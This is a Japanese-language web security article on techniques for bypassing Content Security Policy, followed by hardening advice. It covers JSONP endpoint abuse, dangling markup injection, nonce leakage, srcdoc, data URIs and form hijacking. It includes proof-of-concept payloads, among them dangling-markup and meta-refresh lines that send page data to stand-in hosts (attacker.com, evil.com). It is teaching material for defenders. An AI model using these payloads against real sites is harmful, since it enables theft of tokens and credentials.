CSP回避：コンテンツセキュリティポリシーを破る1,000の方法

攻撃者が最も厳格なCSP設定さえも回避するために使用する高度なテクニックを解説します。JSONPエンドポイントからダングリングマークアップ注入まで、なぜあなたのCSPがセキュリティの演技に過ぎないのかを明らかにします。

はじめに：偽りの安心感

Content Security Policy（CSP）は、クロスサイトスクリプティング（XSS）やその他のコンテンツ注入攻撃からWebアプリケーションを守るためのゴールドスタンダードとなっています。CSPは、Webページがどのリソースを取得または実行できるかを定義する仕組みで、レスポンスヘッダーやHTMLのmeta要素を通じて実装されます。多くの組織は、自分たちのアプリケーションの周囲に不侵入の要塞を築いたと信じて導入しています。

しかし、現実はそう単純ではありません。設定が不十分なContent Security Policyは回避される可能性があり、アプリケーションを脆弱にします。多くの場合、CSPは実際の保護というよりはセキュリティの演出に過ぎず、開発者に誤った安心感を与えながら、攻撃者は基本的な設定ミスやブラウザの特性を利用してアプリケーションを侵害します。

この記事では、攻撃者がCSPを回避するために使用する高度な技術の arsenal を紹介し、最も注意深く作成されたポリシーでも十分に守れない理由を明らかにします。

Content Security Policyの理解

回避技術に入る前に、CSPとは何か、その仕組みを理解することが重要です。

Content Security PolicyはW3C標準であり、開発者がWebアプリケーション内で特定のスクリプトやリソースの読み込みと実行を制御できる仕組みです。これは、内容の注入攻撃、特にXSSに対する追加の防御層として機能します。

CSPは、ブラウザが許可するリソースの種類とソースを指定するディレクティブを定義します。一般的なディレクティブには:

script-src: JavaScriptソースの制御
default-src: 他のリソースタイプのフォールバック
img-src: 画像の有効なソース
style-src: スタイルシートのソース
connect-src: スクリプトインターフェースを通じて読み込み可能なURL
frame-ancestors: iframeによる埋め込みの親の指定

ただし、CSPは最初の防御線ではなく、防御の深さを増すためのものです。入力検証や出力エンコーディングをすり抜けた攻撃を捕捉するためのものであり、完全に置き換えるものではありません。

最も危険な誤解

CSP導入の最大の問題は、理論と実践のギャップです。多くの開発者は、その制限を十分に理解せずにCSPを実装し、重大な脆弱性を生み出しています。

‘unsafe-inline’ の罠

script-srcディレクティブにunsafe-inlineを設定すると、ポリシーが脆弱になり、インラインスクリプトを許可してしまいます。この設定ミスは、CSPのXSS保護を完全に無効化し、攻撃者がインラインスクリプトタグを直接注入できるようにします。

ワイルドカードドメイン：時間稼ぎの爆弾

CSPポリシーにワイルドカードを使用すると便利に思えますが、大きなセキュリティホールを開きます。ドメイン全体をホワイトリストに登録すると、そのドメインのすべてのエンドポイントを信用し、脆弱なものや実行可能なコードを返す可能性のあるものも含まれるためです。

技術1：JSONPエンドポイントの悪用

最も信頼性の高いCSP回避方法の一つは、ホワイトリストに登録されたドメインのJSONP（JSON with Padding）エンドポイントを悪用することです。

このCSP回避技術は、認証されたドメインに存在するJSONPエンドポイントの脆弱性を利用します。これにより、同一オリジンポリシーを回避し、JSON形式のレスポンスにJavaScriptを注入してデータを読み込むことが可能になります。

JSONPの仕組みと回避

JSONPは、スクリプトタグを利用して異なるドメインからデータを読み込み、そのデータを関数呼び出しでラップします。スクリプトとしてラップされているため、多くのCSPポリシーを回避できます。

例として、accounts.google.comをホワイトリストに登録したCSPポリシー:

Content-Security-Policy: script-src 'self' accounts.google.com

攻撃者は次のように悪用できます:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

このレスポンスには実行可能なJavaScriptが含まれており、これによりこのエンドポイントから読み込まれたスクリプトの中でalert(1)が実行されます。

JSONBeeには、既存のCSP回避エンドポイントが多数用意されており、これにより技術はあまり高度でない攻撃者でもアクセス可能です。

実世界への影響

Google、Facebook、数多くのCDNがJSONPエンドポイントを持ち、これを悪用してホワイトリストに登録されたサイトを攻撃します。これは理論的な脆弱性ではなく、実際に悪用されているのです。

技術2：ダングリングマークアップ注入

完全なXSSが不可能な場合でも、攻撃者はダングリングマークアップ注入を利用します。これは、JavaScriptを実行せずに敏感なデータを外部に漏らすためのステルス技術です。

ダングリングマークアップ注入は、完全なクロスサイトスクリプティング攻撃が不可能な状況で、クロスドメイン間のデータ取得を行う技術です。

メカニズム

部分的なHTMLを注入し、未完成の状態にします。例えば、画像タグのsrc属性の途中まで書き、その後のマークアップが属性を閉じ、間にあるデータをリモートサーバに送信します。

例:

INJECTION HERE
<b>test</b>
<script>
  token = 'supersecret';
</script>
<form action="blah"></form>

攻撃者は次のように注入します:

<img src='https://attacker.com/exfil?data=

これにより、次の引用符までのすべての情報がキャプチャされます:

<img src='https://attacker.com/exfil?data=
<b>test</b>
<script>
  token = 'supersecret';
</script>
<form action="blah">

CSP回避：baseタグの操作

baseタグのtarget属性を操作することで、ページ内のすべてのリンクのウィンドウ名を変更できます。未完成のtarget属性を注入すると、インジェクション後のマークアップがすべてのリンクのウィンドウ名に設定され、トークンを盗むことが可能です。

この技術は、外部リソースの読み込みやスクリプトの実行を必要としないため、制限の厳しいCSPポリシーに対しても有効です。

高度なiframeを用いたダングリングマークアップ

CSPはabout:blank URLを同一オリジンとみなしますが、攻撃者がクロスドメインのiframeをabout:blankに設定すると、攻撃者に読み取られる可能性があり、実質的に同一オリジンではなくなります。

このブラウザの特性を利用し、iframeを操作して敏感情報を漏洩させる高度な攻撃も可能です。これにより、CSPの保護を完全に回避します。

技術3：ブラウザキャッシュの操作

最近の高度な発見の一つは、ブラウザのキャッシュメカニズムを悪用してnonceベースのCSPを回避する方法です。

この手法は、nonceベースのCSPとブラウザのキャッシュシステム（bfcacheやディスクキャッシュ）との相互作用を利用します。

Nonce漏洩攻撃

CSSの属性セレクタを利用して、CSPヘッダーを含むmetaタグからnonce値を抽出します。scriptタグのnonce属性はセキュリティ上保護されていますが、metaタグのcontent属性に反映された値はアクセス可能です。

攻撃の流れ:

CSS注入を用いてnonce値を一文字ずつ漏洩させる
CSRF脆弱性を利用して注入ペイロードを更新
ブラウザのキャッシュを操作し、以前漏洩したnonceを含む更新済みペイロードを提供
nonceベースのCSP保護を回避し、悪意のあるコードを実行

この研究は、多くのWebアプリケーションがXSS攻撃に対してnonceベースのCSPを主要な防御策としていることに重大な示唆を与えます。

技術4：iframeとsrcdoc属性の悪用

iframeのsrcdoc属性は、多くのCSPポリシーが見落としがちな強力な回避ベクトルです。

上記のCSPポリシーは、iframeからの読み込みをホワイトリストに登録されたドメインに限定している場合に回避可能です。特に、iframeの特殊な属性srcdocを利用すると、XSSを容易に実現できます。

例として:

Content-Security-Policy: default-src 'self' data: *; 
script-src 'self' https://trusted-cdn.com

攻撃者は次のように注入します:

<iframe srcdoc="<script src='https://trusted-cdn.com/vulnerable-endpoint.js'></script>"></iframe>

このiframeは親のCSPを継承しますが、srcdoc属性を通じて制限を回避したコンテンツを読み込むことが可能です。

技術5：Base64データURI

CSPがdata: URIをスクリプトソースに許可している場合、攻撃者は悪意のあるスクリプトを直接エンコードして挿入できます。

CSPにdata:が含まれていると、Base64エンコードされたスクリプトをブラウザが解釈し、実行します。

例:

<script src="data:;base64,YWxlcnQoMSk="></script>

この技術は、ブラウザがBase64エンコードされたJavaScriptをデコードして実行するため、外部リソースの制限を回避します。

技術6：AngularJSとフレームワーク固有の回避策

レガシーなJavaScriptフレームワークは、それ自体の回避の機会を提供します。

AngularJSアプリケーションがホワイトリストに登録されたドメインからスクリプトを読み込む場合、CSPを回避できます。

特に、バージョン1.6以前のAngularJSは、そのサンドボックス実装の弱点により脆弱です。攻撃者は、これらの古いフレームワークを利用してサンドボックスを抜け出し、任意のコードを実行できます。

フレームワーク依存の問題

現代のWebアプリは、多数のJavaScriptライブラリやフレームワークに依存しています。各依存関係は、ホワイトリストに登録されたCDNからの読み込みにより、脆弱なバージョンをホストしている場合、回避のベクトルを増やします。

技術7：フォームハイジャック

フォームハイジャックは、従来のスクリプト実行とは異なり、HTML注入の脆弱性を利用してフォーム送信をリダイレクトします。

CSPにform-actionディレクティブが含まれていない、または外部ドメインへのフォーム送信を許可している場合、攻撃者は:

正規のログインインターフェースを模倣した偽のフォームを注入
攻撃者制御のサーバへフォーム送信を誘導
資格情報や敏感なデータを盗み出す

この技術は、最も厳格なscript-srcポリシーでも効果的に機能します。

技術8：CSPポリシーのパストラバーサル

ブラウザとサーバのパスの解釈の違いから生じる微妙で重大な脆弱性です。

CSPポリシーに/を使ってパスをエンコードし、フォルダを指定した場合、そのパスはフォルダの一部とみなされます。サーバが解釈する際に/../を使うと、フォルダ制限を回避できます。

例：/company/にスクリプトを制限したポリシーは、次のURLで回避可能:

https://example.com/company/../attacker/malicious.js

技術9：ObjectおよびEmbedタグの悪用

scriptタグだけでなく、objectやembedタグもコードの実行に利用されることがあります。

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

古いFlashファイルをホワイトリストに登録したり、object-srcが適切に制限されていない場合、Flashを利用した回避も可能です。

技術10：Metaタグのリフレッシュ攻撃

Metaタグは、データの漏洩やリダイレクトのための別の手段を提供します:

<meta http-equiv="refresh" content="0;URL=http://evil.com/log.php?data=" />

これにより、次のページの内容をキャプチャできるリダイレクトが挿入され、トークンや敏感情報の窃取に役立ちます。

なぜあなたのCSPはセキュリティの演技になり得るのか

現実は、多くのCSP実装が実質的なセキュリティ効果をほとんど提供していないことです。理由は以下の通り:

複雑さがエラーを生む

CSPの設定は非常に複雑です。古いまたは大規模なWebアプリケーションでは、設定ミスや抜け穴が生じやすくなります。

たとえば、’unsafe-inline’を含めたり、誤ったドメインをホワイトリストに登録したりすると、保護が完全に無効になります。

ホワイトリストの問題

ホワイトリストに登録されたドメインはすべて攻撃の潜在的なベクトルです。アプリケーションが成長し、サードパーティサービスと連携するほど、ホワイトリストは拡大し、攻撃面も指数関数的に増加します。

ブラウザの不一致

異なるブラウザはCSPの解釈と適用に差異があり、プラットフォーム間で一貫性のない保護を生み出します。攻撃者はこれらの不一致を利用して、特定のブラウザでのみ動作する回避策を作成します。

レガシーコードの制約

検証が回避された場合でも、CSPは意図しないソースからのスクリプト実行をブロックし、攻撃をある程度まで無効化します。ただし、適切に設定されている場合に限ります。古いアプリケーションは、機能を壊さずに厳格なCSPを採用できないことが多いです。

CSPの脆弱性をテストする

いくつかのツールが、あなたのCSP実装の弱点を特定するのに役立ちます:

https://csp-evaluator.withgoogle.com/ 2. https://cspvalidator.org/

これらの評価ツールは、ポリシーを分析し、一般的な誤設定を指摘しますが、すべての脆弱性やアプリケーション固有の問題を検出できるわけではありません。

手動テストのアプローチ

効果的なCSPテストには:

ホワイトリストに登録されたすべてのドメインの特定
それらのドメインのJSONPエンドポイントの探索
HTML注入の脆弱性のテスト
さまざまな回避技術を体系的に試す
アプリケーションのエッジケースの分析

CSPを強化するためのベストプラクティス

完全に回避されないCSPは存在しませんが、以下のプラクティスはセキュリティを大幅に向上させます:

ノンスまたはハッシュを使用し、ホワイトリストは避ける

ドメインのホワイトリスト化は避け、代わりにnonceまたはハッシュベースのCSPを使用します:

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'

ページごとにユニークなnonceを生成し、そのnonceを持つスクリプトだけを実行許可します。

‘unsafe-inline’と’unsafe-eval’を排除

これらのディレクティブは、本番環境のCSPポリシーに絶対に含めてはいけません。XSS保護を完全に破壊します。

すべてのディレクティブを制限

script-srcだけでなく、以下も設定します:

object-src ‘none’: objectやembedの悪用を防止
base-uri ‘none’: baseタグの操作を防止
form-action ‘self’: フォーム送信の制限
frame-ancestors ‘none’: clickjacking防止

Report-Onlyモードの慎重な導入

Content-Security-Policy-Report-Onlyは、違反を報告しつつブロックしません。事前のテストに最適です。

本番環境では、これを常用しないようにし、ポリシーの検証に留めてください。

定期的なセキュリティ監査

CSPは設定して終わりではありません。定期的な監査で:

すべてのホワイトリストに登録されたドメインのJSONPエンドポイントの確認
新たな回避技術のテスト
アプリケーションの進化に合わせたポリシーの更新
使われていないドメインの除去

キャッシュコントロールヘッダー

セキュリティ専門家は、CSP保護を実装する際にキャッシュの挙動も考慮し、追加の安全策としてcache-controlヘッダーの設定も必要です。

適切なキャッシュヘッダーは、nonce漏洩攻撃を防ぎます。

深層防御のアプローチ

CSPはコンテンツ注入攻撃に対する追加のセキュリティ層です。最初の防御は常に出力エンコーディングと入力検証です。

CSPだけに頼らず、包括的なセキュリティ戦略を構築しましょう。具体的には:

入力検証：悪意のある入力をアプリケーションに到達させる前に拒否
出力エンコーディング：ユーザー生成コンテンツを適切にエンコード
CSP：他の防御をすり抜けた攻撃を捕捉
WAF（Webアプリケーションファイアウォール）：既知の攻撃パターンをブロック
セキュリティヘッダー：X-Content-Type-OptionsやX-Frame-Optionsなどの追加ヘッダー
定期的なアップデート：フレームワークやライブラリを最新に保つ

実例とケーススタディ

Google JSONP事件

Googleのドメインをホワイトリストに登録した多くのアプリケーションが、JSONPエンドポイントの悪用により被害に遭いました。oauth2/revokeエンドポイントが攻撃のターゲットになりました。

AngularJSのサンドボックス破壊

AngularJS 1.xの複数の深刻な脆弱性により、サンドボックスを完全に抜け出し、CSPに依存していたアプリケーションが危険にさらされました。

Eコマースプラットフォームの侵害

主要なEコマースプラットフォームのいくつかは、フォームハイジャックを利用して顧客の資格情報を盗み、厳格なCSPポリシーにもかかわらずデータ漏洩を引き起こしました。

新たな脅威と未来の懸念

Webセキュリティの進化に伴い、新たな回避技術も登場しています。特に注目すべきは:

Trusted Types APIの混乱

Trusted TypesはXSS保護を向上させることを目的としていますが、実装ミスにより新たな回避の機会を生む可能性があります。

WebAssemblyの悪用

WebAssemblyの普及により、新たな攻撃ベクトルが出現し、現行のCSP実装では十分に対処できないケースもあります。

Service Worker攻撃

Service Workerは従来のCSP制約の外で動作し、新たな攻撃経路を提供する可能性があります。

結論：セキュリティの演技を超えて

Content Security Policyは重要なセキュリティメカニズムですが、多くの人が思うほど万能ではありません。JSONPの悪用やダングリングマークアップ注入、キャッシュ操作、フレームワーク固有の攻撃など、多彩な回避技術が存在します。これらは、CSPだけでは現代のWebアプリを十分に守れないことを示しています。

今後の道は、:

現実的な期待：CSPの限界を理解する
深層防御：複数のセキュリティコントロールを重ねる
継続的な警戒：定期的に監査とポリシーの更新
セキュリティ優先の開発：最初からセキュリティを組み込む

あなたのCSPは、セキュリティ監査では印象的に見えるかもしれませんが、ここで議論した設定ミスや脆弱なパターンが含まれている場合、実質的な保護はほとんどなく、セキュリティの演技に過ぎません。攻撃者はこれらの技術を熟知しています。防御側も同じく理解すべき時です。

問題は、あなたのCSPが回避されるまでにどれだけの時間がかかるかです。これらの回避方法を理解し、堅牢な防御を実装することで、攻撃のハードルを大きく引き上げ、あなたのアプリケーションを次世代の高度な攻撃から守ることができます。

覚えておいてください：CSPはあなたのセキュリティ戦略の一層に過ぎません。正しく導入し、徹底的にテストし、無防備にしないことが重要です。